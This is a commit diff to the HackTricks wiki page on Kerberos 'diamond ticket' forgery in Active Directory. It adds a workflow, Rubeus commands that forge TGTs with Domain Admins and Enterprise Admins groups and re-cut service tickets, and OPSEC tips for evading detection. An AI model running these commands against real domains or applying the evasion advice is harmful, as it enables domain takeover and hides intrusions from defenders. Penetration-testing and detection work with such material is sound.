Skip to content

Commit 8bfb973

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 19dd710 + 336338c commit 8bfb973

File tree

1 file changed

+53
-10
lines changed

1 file changed

+53
-10
lines changed

src/windows-hardening/active-directory-methodology/diamond-ticket.md

Lines changed: 53 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -16,20 +16,63 @@ A **diamond ticket** is made by **modifying the fields of a legitimate TGT that
1616
- TGS-REQs will have a preceding AS-REQ.
1717
- The TGT was issued by a DC which means it will have all the correct details from the domain's Kerberos policy. Even though these can be accurately forged in a golden ticket, it's more complex and open to mistakes.
1818

19-
```bash
20-
# Get user RID
21-
powershell Get-DomainUser -Identity <username> -Properties objectsid
19+
### Requirements & workflow
2220

23-
.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512
21+
- **Cryptographic material**: the krbtgt AES256 key (preferred) or NTLM hash in order to decrypt and re-sign the TGT.
22+
- **Legitimate TGT blob**: obtained with `/tgtdeleg`, `asktgt`, `s4u`, or by exporting tickets from memory.
23+
- **Context data**: the target user RID, group RIDs/SIDs, and (optionally) LDAP-derived PAC attributes.
24+
- **Service keys** (only if you plan to re-cut service tickets): AES key of the service SPN to be impersonated.
2425

25-
# /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the user without needing to know their password, NTLM/AES hash, or elevation on the host.
26-
# /ticketuser is the username of the principal to impersonate.
27-
# /ticketuserid is the domain RID of that principal.
28-
# /groups are the desired group RIDs (512 being Domain Admins).
29-
# /krbkey is the krbtgt AES256 hash.
26+
1. Obtain a TGT for any controlled user via AS-REQ (Rubeus `/tgtdeleg` is convenient because it coerces the client to perform the Kerberos GSS-API dance without credentials).
27+
2. Decrypt the returned TGT with the krbtgt key, patch PAC attributes (user, groups, logon info, SIDs, device claims, etc.).
28+
3. Re-encrypt/sign the ticket with the same krbtgt key and inject it into the current logon session (`kerberos::ptt`, `Rubeus.exe ptt`...).
29+
4. Optionally, repeat the process over a service ticket by supplying a valid TGT blob plus the target service key to stay stealthy on the wire.
30+
31+
### Updated Rubeus tradecraft (2024+)
32+
33+
Recent work by Huntress modernized the `diamond` action inside Rubeus by porting the `/ldap` and `/opsec` improvements that previously only existed for golden/silver tickets. `/ldap` now auto-populates accurate PAC attributes straight from AD (user profile, logon hours, sidHistory, domain policies), while `/opsec` makes the AS-REQ/AS-REP flow indistinguishable from a Windows client by performing the two-step pre-auth sequence and enforcing AES-only crypto. This dramatically reduces obvious indicators such as blank device IDs or unrealistic validity windows.
34+
35+
```powershell
36+
# Query RID/context data (PowerView/SharpView/AD modules all work)
37+
Get-DomainUser -Identity <username> -Properties objectsid | Select-Object samaccountname,objectsid
38+
39+
# Craft a high-fidelity diamond TGT and inject it
40+
.\Rubeus.exe diamond /tgtdeleg \
41+
/ticketuser:svc_sql /ticketuserid:1109 \
42+
/groups:512,519 \
43+
/krbkey:<KRBTGT_AES256_KEY> \
44+
/ldap /ldapuser:MARVEL\loki /ldappassword:Mischief$ \
45+
/opsec /nowrap
3046
```
3147

32-
{{#include ../../banners/hacktricks-training.md}}
48+
- `/ldap` (with optional `/ldapuser` & `/ldappassword`) queries AD and SYSVOL to mirror the target user's PAC policy data.
49+
- `/opsec` forces a Windows-like AS-REQ retry, zeroing noisy flags and sticking to AES256.
50+
- `/tgtdeleg` keeps your hands off the cleartext password or NTLM/AES key of the victim while still returning a decryptable TGT.
51+
52+
### Service-ticket recutting
3353

54+
The same Rubeus refresh added the ability to apply the diamond technique to TGS blobs. By feeding `diamond` a **base64-encoded TGT** (from `asktgt`, `/tgtdeleg`, or a previously forged TGT), the **service SPN**, and the **service AES key**, you can mint realistic service tickets without touching the KDC—effectively a stealthier silver ticket.
3455

56+
```powershell
57+
.\Rubeus.exe diamond \
58+
/ticket:<BASE64_TGT_OR_KRB-CRED> \
59+
/service:cifs/dc01.lab.local \
60+
/servicekey:<AES256_SERVICE_KEY> \
61+
/ticketuser:svc_sql /ticketuserid:1109 \
62+
/ldap /opsec /nowrap
63+
```
3564

65+
This workflow is ideal when you already control a service account key (e.g., dumped with `lsadump::lsa /inject` or `secretsdump.py`) and want to cut a one-off TGS that perfectly matches AD policy, timelines, and PAC data without issuing any new AS/TGS traffic.
66+
67+
### OPSEC & detection notes
68+
69+
- The traditional hunter heuristics (TGS without AS, decade-long lifetimes) still apply to golden tickets, but diamond tickets mainly surface when the **PAC content or group mapping looks impossible**. Populate every PAC field (logon hours, user profile paths, device IDs) so automated comparisons do not immediately flag the forgery.
70+
- **Do not oversubscribe groups/RIDs**. If you only need `512` (Domain Admins) and `519` (Enterprise Admins), stop there and make sure the target account plausibly belongs to those groups elsewhere in AD. Excessive `ExtraSids` is a giveaway.
71+
- Splunk's Security Content project distributes attack-range telemetry for diamond tickets plus detections such as *Windows Domain Admin Impersonation Indicator*, which correlates unusual Event ID 4768/4769/4624 sequences and PAC group changes. Replaying that dataset (or generating your own with the commands above) helps validate SOC coverage for T1558.001 while giving you concrete alert logic to evade.
72+
73+
## References
74+
75+
- [Huntress – Recutting the Kerberos Diamond Ticket (2025)](https://www.huntress.com/blog/recutting-the-kerberos-diamond-ticket)
76+
- [Splunk Security Content – Diamond Ticket attack data & detections (2023)](https://research.splunk.com/attack_data/be469518-9d2d-4ebb-b839-12683cd18a7c/)
77+
78+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)